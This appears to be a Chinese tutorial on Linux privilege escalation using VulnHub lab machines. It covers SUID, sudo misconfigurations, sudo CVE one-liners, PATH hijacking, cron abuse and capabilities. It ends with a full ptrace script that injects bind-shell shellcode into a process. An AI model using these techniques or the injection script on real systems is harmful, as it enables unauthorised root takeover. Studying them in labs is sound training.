这里的cve漏洞也值得一试,但是重点是suid提权,我们看linpeas日志里面与suid相关的 重点看红色的,特别是打了底色的,然后看看文件所有者。 可以看到find的所有者是root,也就是说find会以root权限运行,疑问是怎么通过find命令提权,或者换一种方式问,怎么通过find命令执行命令或者带出shell窗口。 这里有一个在线网站,辅助我们进行suid提权,“https://gtfobins.org/”,有什么用?它会告诉你哪些命令(比如find)怎么执行命令或者弹出shell。怎么使用?我们直接在上面搜 可以看到,find命令可以弹出shell,命令也给出来了。我们直接输入命令即可。 实际上这里是弹出了一个新的sh窗口。至此,提权成功。 如果突发事故,linpeas无法运行怎么办?这时我们就需要手工进行信息收集,查看有哪些suid权限的文件,常用的四条收集命令如下find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;find / -perm -g=s -type f 2>/dev/null
https://www.vulnhub.com/entry/toppo-1,245/
SUDO提权
sudo提权分为两种,一种是配置问题,有些运维为了方便会将某个命令设置为某个用户可以直接使用sudo运行,不用文件所有者的密码(root密码);另外一种是sudo自身的cve漏洞。具体看演示
1、sudo配置问题,演示靶机:https://www.vulnhub.com/entry/toppo-1,245/,对,就是上面推荐的那个。
开头依旧信息收集,依旧信息泄漏
ssh登陆,用户名不是ted123就是ted,经过测试时ted
我们直接手工收集信息,查看当前用户可以免密使用sudo执行哪些文件,以下两条命令可以收集
可以看到有awk一条命令,去https://gtfobins.org/这个网站搜,就是那个suid提权辅助网站,我们也能拿来辅助sudo提权
直接执行就完事了
至此,提权成功。
2、sudo的cve漏洞
cve漏洞我就不演示了,这其实是第一种提权方式的内容,linpeas也会检测,简单说一下sudo的历史cve漏洞。
CVE-2019-14287:Sudo 安全策略绕过漏洞 利用条件:本地普通用户账户 + sudoers 有 (ALL, !root) 配置。 sudo -u#4294967295 [command] 利用前提:检查 sudo -l 输出,没有配置特定用户或者目前就是特定用户。 https://github.com/n0w4n/CVE-2019-14287 (检测与利用脚本) https://www.exploit-db.com/exploits/47502 (Exploit-DB 官方 PoC)CVE-2019-18634:Pwfeedback 栈缓冲区溢出漏洞 影响版本:Sudo 1.7.1 ~ 1.8.30(需启用 pwfeedback) 利用条件:sudoers 中启用 pwfeedback(非默认) + 本地账户(无需 sudo 权限)。 利用方法:使用脚本向密码提示发送大量输入触发溢出。 https://github.com/saleemrashid/sudo-cve-2019-18634 (完整功能利用) https://github.com/Plazmaz/CVE-2019-18634 (BSS 溢出利用) https://www.exploit-db.com/exploits/47995 (简单崩溃 PoC) 说白了,比较鸡肋
CVE-2021-3156(Baron Samedit):堆缓冲区溢出漏洞 影响版本:Sudo 1.8.2 ~ 1.8.31p2、1.9.0 ~ 1.9.5p1 利用条件:仅需本地用户账户(无需 sudoers 配置)。 sudoedit -s '\' $(python3 -c 'print("A"*1000)') https://github.com/blasty/CVE-2021-3156 (可靠完整利用) https://github.com/worawit/CVE-2021-3156 (带写up 的 x64 利用) https://www.exploit-db.com/exploits/49522 (Exploit-DB 版本)CVE-2023-22809:Sudoedit 环境变量绕过漏洞 影响版本:Sudo 1.8.0 ~ 1.9.12p1 SUDO_EDITOR="vim -- /etc/sudoers" sudoedit /tmp/file https://github.com/n3m1sys/CVE-2023-22809-sudoedit-privesc (自动化提权脚本) https://www.exploit-db.com/exploits/51217 (Exploit-DB 完整脚本)CVE-2025-32462:–host 选项主机检查绕过漏洞 影响版本:Sudo 1.8.8 ~ 1.9.17(包括 legacy 分支) 利用条件:sudoers 有主机限制配置 + 本地账户。 利用方法:使用 -h <伪造主机> 执行受限命令。 PoC 链接:官方未单独广泛公开 PoC,通常与 CVE-2025-32463 结合在lab中(如https://github.com/MAAYTHMCVE-2025-32462_32463-Lab Docker PoC)。CVE-2025-32463:chroot 功能滥用提权漏洞 影响版本:Sudo 1.9.14 ~ 1.9.17 利用条件:默认配置即可(无需 sudoers 规则)。 利用方法:创建恶意 chroot 目录,运行 sudo -R <恶意目录> [command] 触发库加载获取 root shell。 https://github.com/pr0v3rbs/CVE-2025-32463_chwoot (简单 Docker PoC,名为 “chwoot”) https://github.com/kh4sh3i/CVE-2025-32463 (bash 脚本利用) https://github.com/MohamedKarrab/CVE-2025-32463 (无需 gcc 的预编译 payload) https://www.exploit-db.com/exploits/52352 (Exploit-DB sudo-chwoot.sh) 环境变量大家并不陌生吧,为什么windows在cmd里面输入calc会弹出计算器,就是path的功劳,就是定义了calc所对应的程序文件所在地址。 环境变量提权,就是将自定义的suid进行环境变量劫持,什么意思,直接看演示,演示靶机:https://www.vulnhub.com/entry/symfonos-1,322/ 这里说一下,这个靶机拿到普通权限是很麻烦的,这里简单带过,就是通过smb拿到线索,发现还有一个wordpress网页,发现有文件包含漏洞,利用stmp写webshell,获取权限 好了好了,重点来了,怎么利用环境变量提权。首先我们需要了解到,linux的环境变量是怎样的 比如说有一个程序调用了系统命令但是没有写绝对路径,比如调用curl是写的curl而不是/usr/share/doc/curl(我不确定是不是啊,只是打个比方
),于是系统就会在系统变量里面查找,会按照PATH输出的文件夹里面从头开始查找curl所在文件并执行(比如上面图片里面的就是/usr/local/sbin->/usr/local/bin->/usr/sbin->/usr/bin->/sbin->/bin->/usr/local/games->/usr/games),但是如果我们将自己写的curl写入环境变量里面的话,就会执行我们自己写的curl,如果不理解不要紧,我们看演示 另外,我们利用PATH提权需要结合suid,能想明白吗?前面解释过具有suid权限的程序会以文件所有者的权限执行,如果没有能现成使用的,但是有自定义的,比如写了个什么程序里面有curl,就能提权 可以看到,这个ststuscheck是自定义的suid,其他suid不能用于提权,我们看看里面有什么 可以看到,有没写绝对路径的命令,是curl,于是我们就能劫持curl的环境变量,自己写一个 将/var/tmp写入环境变量,新写入的环境变量会排在最前面,在/var/tmp目录写一个curl文件,里面是弹出sh窗口,直接执行,此时就会在/var/tmp目录里面找curl并执行,由于又是suid权限,就会直接弹出suid权限的sh窗口 思维发散一下,除了suid的命令,还有哪些可以劫持呢,凡是有高权限执行的文件里面有没写绝对路径的都能劫持,比如sudo,计划任务等等都能劫持。Cron计划任务提权
在linux里面,cron计划任务里面的任务默认以最高权限执行,如果有哪个计划任务的执行文件我们能修改,那么我们就能进行提权。话不多说,开始演示,使用靶场:https://www.vulnhub.com/entry/jarbas-1,232/
信息收集走起,得到线索jenkins后台账号密码
登陆,是eder:vipsu,第三对
登陆,创建任务,获取权限
提权,先看看计划任务有什么,命令如下
看看这个执行文件的相关权限
ls -lia /etc/script/CleaningScript.sh
结果如下,我给大家解释一下,重点关注-rwxrwxrwx和root root这两部分,r代表读,w代表写,x代表执行,有三组,每一组有那个字符就代表有那种权限,第一组rwx代表文件所有者权限,第二组rwx代表文件所有组权限,第三组代表其他用户权限;第一个root代表文件所有者,第二个root代表文件所有组
844412 -rwxrwxrwx. 1 root root 50 Apr 1 2018 /etc/script/CleaningScript.sh
可以看到其他用户拥有写权限,并且执行文件所有者是root,于是我们可以修改执行文件写入恶意代码
静静等待文件被执行,每五分钟执行一次
提权成功。其实还可以使用path劫持,大家可以试一下。
Capability提权
首先介绍一下什么是capability,你可以将它理解为suid的进化版本,suid是将用户所有者的全部权限权限交出而capability是将权限细分,比如什么程序拥有什么权限,所有capability有多种权限模式,给大家列出最容易造成提权的几种权限模式
CAP_SYS_ADMIN #使用mount挂载恶意文件系统,然后利用该文件系统里的恶意代码提权CAP_SETUID & CAP_SETGID #将自己的用户ID和组ID切换为rootCAP_CHOWN #更改系统文件的所有者CAP_DAC_OVERRIDE #访问和修改任何文件CAP_SYS_MODULE #加载恶意的内核模块CAP_SYS_PTRACE #进程注入
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT = 4PTRACE_GETREGS = 12PTRACE_SETREGS = 13PTRACE_ATTACH = 16PTRACE_DETACH = 17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure): _fields_ = [ ("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong), ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong), ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong), ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong), ("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong), ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong), ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong), ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong), ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong), ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong), ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong), ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong), ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong), ("gs", ctypes.c_ulonglong), ]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4): # Convert the byte to little endian. shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex') shellcode_byte=int(shellcode_byte_little_endian,16) # Inject the byte. libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)